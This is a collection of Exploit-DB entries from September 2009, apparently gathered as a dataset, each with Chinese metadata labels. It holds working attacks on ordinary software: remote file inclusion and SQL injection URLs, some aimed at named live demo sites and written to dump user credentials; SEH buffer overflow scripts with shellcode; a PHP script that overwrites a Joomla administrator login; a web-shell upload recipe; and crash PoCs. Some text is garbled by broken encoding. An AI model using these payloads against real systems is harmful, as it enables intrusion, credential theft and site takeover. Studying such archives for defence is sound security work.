QLWD/code_shield huggingface dataset:
标题: Advanced Comment System 1.0 - Multiple Remote File Inclusions EDB-ID: 9623 CVE: 2009-4623 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ======================================================

 Advanced comment system1.0  Remote File Inclusion Vulnerability


<<!>> Found by  :  kurdish hackers team

<<!>> C0ntact : pshela [at] YaHoo .com
                  
<<!>> Groups : Kurd-Team

<<!>> site   : www.kurdteam.org

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   ::  Advanced_comment_system_1-0

<<->> download script :: http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit ::
 
 >>> www.site/path /advanced_comment_system/index.php?ACS_path=[shell.txt?]
                                   /advanced_comment_system/admin.php?ACS_path=[shell.txt?]


=======================================================
 
=======================================================

<<->> All freinds , Zryan_kurd , RootSyS , Bravy_Boy all member kurdish hackers team

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9623
标题: Media Player Classic 6.4.9 - '.mid' Integer Overflow (PoC) EDB-ID: 9620 CVE: 2009-3201 类型: DOS 平台: WINDOWS 发布日期: 2009-09-09 漏洞利用脚本: #!/usr/bin/perl

print qq(

  ############################################################
  ##            Iranian Pentesters Home                     ##
  ##               Www.Pentesters.Ir                        ##
  ##              PLATEN -[ H.jafari ]-                     ## 
  ## Media Player Classic 6.4.9(.mid) Integer Overflow PoC  ##
  ## Vulnerability Discovered By : PLATEN                   ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);

$boom = "\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x01\x00\x60\x4d\x54".
"\x72\x6b\x00\x00\x00\x4e\x00\xff\x03\x08\x34\x31\x33\x61\x34\x61".
"\x35\x30\x00\x91\x41\x60\x01\x3a\x60\x01\x4a\x60\x01\x50\x60\x7d".
"\x81\x41\x01\x01\x3a\x5f\x8d\xe4\xa0\x01\x50\x01\x3d\x91\x41\x60".
"\x81\x00\x81\x41\x40\x00\x91\x3a\x60\x81\x00\x76\x6f\xcc\x3d\xa6".
"\xc2\x48\xee\x8e\xca\xc2\x57\x00\x91\x50\x60\x81\x00\x81\x50\x40".
"\x00\xff\x2f\x00";

open(fhandle,'>>expl.mid') || die "can't create file: expl.mid";
print fhandle $boom;
close(fhandle);
print "\n  [+] File created successfully: expl.mid \n";

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9620
标题: KSP 2009R2 - '.m3u' Universal Local Buffer Overflow (SEH) EDB-ID: 9624 CVE: 2009-3670 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-10 漏洞利用脚本: ##!/usr/bin/python
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# KSP 2009R2 (m3u) Universal Local Buffer Exploit (SEH)
# http://ksplayer.boo.pl/index.php
# #--->> info:: KSP 2009R2 Sound Player was released 28//8//2009
# AND special THANKS FOR His0k4#
######################################################################
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x38\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x33"
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x36\x43\x56\x42\x30\x5a")
#########################################################################
buffer = shellcode
buffer += "\x41"*(2869-len(shellcode))
buffer += "\xE8\xC6\xF4\xFF\xFF"
buffer += "\x90"*10
buffer += "\xEB\xEF\x90\x90"
buffer += "\x88\x57\x40"

print buffer
#########################################################################
try:
out_file = open("hack4love.m3u",'w')
out_file.write(buffer)
out_file.close()
raw_input("\nExploit file created!\n")
except:
print "Error"
########################################################################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9624
标题: PHPNagios 1.2.0 - 'menu.php' Local File Inclusion EDB-ID: 9611 CVE: 2009-4626 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: -------------------------------------------------------------------------------------
phpNagios v 1.2.0 (menu.php) LFI Vulnerability
-------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu[at]windowslive[dot]com
 
Script Download: http://sourceforge.net/projects/phpnagios/
 
-------------------------------------------------------------------------------------
 
EXPLOÄ°T:
 
http://localhost/[PATH]/menu.php?conf[lang]= [LFÄ°]
 
-------------------------------------------------------------------------------------
 
BUG
Line 28:        include_once("lib/lang/".$conf['lang']."/menu.php");
 
-------------------------------------------------------------------------------------

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9611
标题: Ipswitch WS_FTP 12 Professional - Remote Format String (PoC) EDB-ID: 9607 CVE: 2009-4775 类型: DOS 平台: WINDOWS 发布日期: 2009-09-09 漏洞利用脚本: #!/usr/bin/perl
# nocoolnameforawsftppoc.pl
# AKA
# Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a
# year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was
# found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem
# is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making
# exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to
# find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays!
# **********************************************************************************************************
# nocoolnameforawsftppoc.pl

use IO::Socket;

$port    = 80;
$payload = "HTTP/1.1 %s%s\r\n\r\n";

$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$cli->recv($buf, 512);
$cli->send($payload);

close($cli);
close($serv);

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9607
标题: Apple Safari 3.2.3 (Windows x86) - JavaScript 'eval' Remote Denial of Service EDB-ID: 9606 CVE: 2009-3272 类型: DOS 平台: WINDOWS_X86 发布日期: 2009-09-09 漏洞利用脚本: #!/usr/bin/perl
# letsgosurfinnowonsafari.pl
# AKA
# Safari 3.2.3 (Win32) JavaScript 'eval' Remote Denial of Service Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# Safari crashes when interpreting a webpage that calls the "eval" JavaScript function with "A/" repeating
# 21526 times (43052 bytes). When triggering this vulnerability, Safari will throw a "Stack Overflow"
# exception, and then an access violation when adjusting the trigger to "A/" repeating 21697 times
# (43394 bytes). The problem originates in the module "WebKit.dll". Safari uses this module as part of the
# WebKit layout engine (www.webkit.org).

# This issue was reported to Apple several months ago and it looks like they fixed it in Safari 4
# (4.1.2 tested) after recent testing. It has also been lying around the Fun Archive @ krakowlabs.com for
# quite a while too. Btw, STACK_OVERFLOW does NOT mean there is a buffer overflow on the stack. It pretty
# much means that the stack for the process has been exhausted and its maximum size has been reached.
# *********************************************************************************************************
# letsgosurfinnowonsafari.pl

$fn   = 'letsgosurfinnowwithsafari.html';
$size = 21526; # "Stack Overflow" WebKit.dll
#$size = 21697; # "Access Violation" WebKit.dll

$payload = '<html><script type="text/javascript">' . "\n";
$payload = $payload . 'eval("' . "A/" x $size . '");' . "\n";
$payload = $payload . '</script></html>';

     open(FD, '>' . $fn);
     print FD $payload;
     close(FD);

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9606
标题: OBOphiX 2.7.0 - 'fonctions_racine.php' Remote File Inclusion EDB-ID: 9600 CVE: 2009-3174 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: [*] OBOphiX [fonctions_racine.php] <= 2.7.0 Remote File Include Vulnerability 


[+] Author         : EA Ngel
[+] Location        : Manado - Indonesia
[+] Situs           : www[dot]manadocoding[dot]net
[+] Contact         : engelpemula@gmail.com
[+] Download Script : http://biznetnetworks.dl.sourceforge.net/project/obophix/obophix/pack%20complet%20V1.0/lib.V1.zip


[/] Dork            : cari sandiri jo neh <= :d


[#] Bug             : require("$chemin_lib/config.inc.php");


[^] 3xpl0it         : http://localhost/[path]/fonctions_racine.php?chemin_lib=[thanks.txt?]

                   
[@] Special Thanks  : str0ke, basix, kamuiclone, Mr.C, cokiki, bl4ck_3n9in3, cyberlog, dbanie, fl3xu5, exnome
                      g4pt3k, tonaas, doniskynet, rezagms, wishnu, my_wishdom, b0b0h0, jeckham, k3nz0, yadiyauri
                      akiko, steve_san, steve_diving, moon_lee, c6, bibeh^pink, missi, luv13, 
                      hyhgao, eyin, key, sansan and all friends


[!] Greetz to0     : cr4wl3r is companions in arms and cpu monitor, keyboard, mouse <= :d
                     
                     | gorontalodefacer[dot]org | sekuritionline[dot]net |


[^] Note            : Jangan pernah malu untuk menjadi seorang pemula

                      TUHAN MEMBERKATI  

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9600
标题: Model Agency Manager Pro - 'user_id' SQL Injection EDB-ID: 9603 CVE: 2009-3175 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢
[â˜ ]
[~] Tybe:(view.php user_id) Remote SQL Injection Vulnerability
[â˜ ]
[~] Vendor: www.phpmodelagencyscript.com
[â˜ ]
[â˜ ] Software: Model Agency Manager PRO
[â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))
[â˜ ]
[â˜ ] Date: 7.9.2009
[â˜ ]
[â˜ ] Home: CL0S3D
[â˜ ]
[â˜ ] contact: X@hotmail.co.jp
[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 

[â˜ ] Exploit:

[â˜ ] XxX/view.php?user_id= EV!L !NJECT
[â˜ ] (EV!L !NJ3c7):1%20union%20select%20user(),2,3,4/*&view=photos

[â˜ ] L!VE Exploit:
http://model-agency-manager-pro.phpmodelagencyscript.com/view.php?user_id=1%20union%20select%20user(),2,3,4/*&view=photos
[â˜ ]MORE ER0RR:
photos.php?user_id=((Ñ3d D3v!L))

motm.php?user_id=((DEV!L-Ro007))
forum_message.php?id=((STr0KE))

[â˜ ]

N073:
REAL R3d-d3V!L !S h3R3 LAM3RZ ((â˜ Xâ˜ ))

ARAB!AAN HAAACCKER !!

[~]-----------------------------{str0ke}-----------------------------------------------------
[~] Greetz tO: {str0ke} & DEV!L R007 & 8orn 2 K!LL & D.MODY & G0G0 & arabian hacker & EL z0hery
[~]
[~] spechial thanks : ((dolly)) & ((7am3m)) & ghost L0v3R & Û©ÛžÛ©à¹‘ Ø¹Ù…Ø§Ø¯ à¹‘Û©ÛžÛ© & {0rashey}
[~]
[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
[~]
[~]!'M 4r48!4N 3xPLO!T3R
[~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9603
标题: The Rat CMS Alpha 2 - Arbitrary File Upload EDB-ID: 9599 CVE: 2009-3173 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: ########################## Securitylab.ir ########################
# Application Info:
# Name: The Rat Cms
# Version: Alpha 2
# DL: http://downloads.sourceforge.net/the-rat-cms/trcms_pre_alpha_2.zip?modtime=1174590953&big_mirror=0
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High
#===========================================================
# http://site.com/[path]/admin/add_album.php
#
# choose shell
#
# shell.php include :
# GIF89a;
# <? your shell code ?>
#
# Your shell Upload Here :
# http://site.com/[Path]/images
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9599
标题: Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2) EDB-ID: 9598 CVE: 2009-2692 类型: LOCAL 平台: LINUX 发布日期: 2009-09-09 漏洞利用脚本: This is the second version of Linux sock_sendpage() NULL pointer
dereference exploit. Now, it also works with Linux kernel versions
which implements COW credentials (e.g. Fedora 11). For SELinux enforced
systems, it automatically searches in the SELinux policy rules for
types with mmap_zero permission it can transition, and tries to exploit
the system with that types.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz)

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9598
标题: Joomla! Component Joomloc 1.0 - 'id' SQL Injection EDB-ID: 9604 CVE: 2009-4620 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_joomloc (id) SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Group         :  LatinHackTeam
[+] Vulnerability :  SQL injection 

###################################################

Info component:

Name   : Joomloc
Version  : 1.0
Compatibility   : 1.5 Native
License         : GPL                 Type : Comercial
Date Added      : 5 September 2009
Demo            : http://www.joomloc.fr.nf

more info       : http://extensions.joomla.org/extensions/vertical-markets/booking-a-reservation/9208
###################################################

Example:
http://localhost/path/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1[SQL code]

Demo Live:
http://www.holiday-location.com/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9604
标题: SIDVault 2.0e - Windows Universal Buffer Overflow (SEH) EDB-ID: 9596 CVE: 2007-4566 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-09 漏洞利用脚本: #!/usr/bin/python

import socket, sys, ldap

print "[*] SidVault 2.0e Windows Universal Buffer Overflow Exploit (SEH)"
print "[*] Original author : blake"
print "[*] Seh Exploit : Skull-Hacker"
print "[*] Tested on Windows XP SP3"

if len(sys.argv)!=2:
 print "[*] Usage: %s <ip>" % sys.argv[0]
 sys.exit(0)


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")


sploit =  "\x41"*1028
sploit += "SKH" #Trick track  ;) 
sploit += shellcode
sploit += "\x44"*(3299-len(shellcode))
sploit += "\xE8\x18\xF3\xFF\xFF"
sploit += "\x44"*5
sploit += "\xEB\xF4\x90\x90"
sploit += "\x29\x10\x40" #univ ret

print "[+] Sending payload"

l = ldap.open(sys.argv[1])
l.simple_bind("dc=" +sploit, "\x42" * 256)
print "[+] Done!\n"

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9596
标题: Joomla! Component BF Survey Pro Free - SQL Injection EDB-ID: 9601 CVE: 2009-4625 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: <?php
 echo '<h2>Joomla Component BF Survey Pro Free SQL Injection Exploit</h2>';
 echo '<h4>jdc 2009</h4>';
 echo '<p>Google dork: inurl:com_bfsurvey_profree</p>';
   ini_set( "memory_limit", "128M" );
   ini_set( "max_execution_time", 0 );
   set_time_limit( 0 );
   if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );
   $vulnerableFile = "http://".$_GET['url']."/index.php";
   $url = $vulnerableFile;
 $data = array();
 $data['option'] = 'com_bfsurvey_profree';
 $data['task'] = 'updateOnePage';
 $data['table'] = "jos_users set username=CHAR(".sqlChar( 'r00t' )."), password=CHAR(".sqlChar( md5('r00t' ) )."), email=CHAR(".sqlChar( 'x' ).") where gid=25 limit 1   --   '";
 $output = getData();
 die( '<script>alert("Now log in as r00t/r00t!");location.href="http://'.$_GET['url'].'/administrator/index.php";</script>' );
 function shutUp( $buffer ) { return false; }
 function sqlChar( $str ) { return implode( ',', array_map( 'ord', str_split( $str ) ) ); }
 function getData()
 {
   global $data, $url;
   ob_start( "shutUp" );
   $ch = curl_init();
   curl_setopt( $ch, CURL_TIMEOUT, 120 );
   curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );
   curl_setopt( $ch, CURLOPT_URL, $url );
   if( count( $data ) > 0 )
   {
           curl_setopt( $ch, CURLOPT_POST, count( $data ) );
           curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );
   }
   curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );
   curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );
   $result = curl_exec( $ch );
   curl_close( $ch );
   $return = ob_get_contents();
   ob_end_clean();
   return $return;
 }
?>

# milw0rm.com [2009-09-09] URL: https://www.exploit-db.com/exploits/9601
标题: Joomla! Component com_Joomlaub - 'aid' SQL Injection EDB-ID: 9593 CVE: 2009-4475 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-04 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Joomla Compenent Com_joomlub (aid) Remote SQL Injection Vulnerabilities
# [+] Software : Joomla Compenent Com_joomlub
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Kim, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
# [+] SQL
#
#  - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=-2%20union%20all%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
#   [+] Demo
#
#    - http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=-2%20union%20all%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
# [+] Blind SQL
#
#  - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=2 => False
#  - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=1 => True
#
#  - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=4 => False
#  - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=5 => True
#
#   [+] Demo
#
#    
#    - http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=2 => False
#    - http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=1 => True
#   
#    - http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=4 => False
#    - http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=5 => True
#
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-09-04] URL: https://www.exploit-db.com/exploits/9593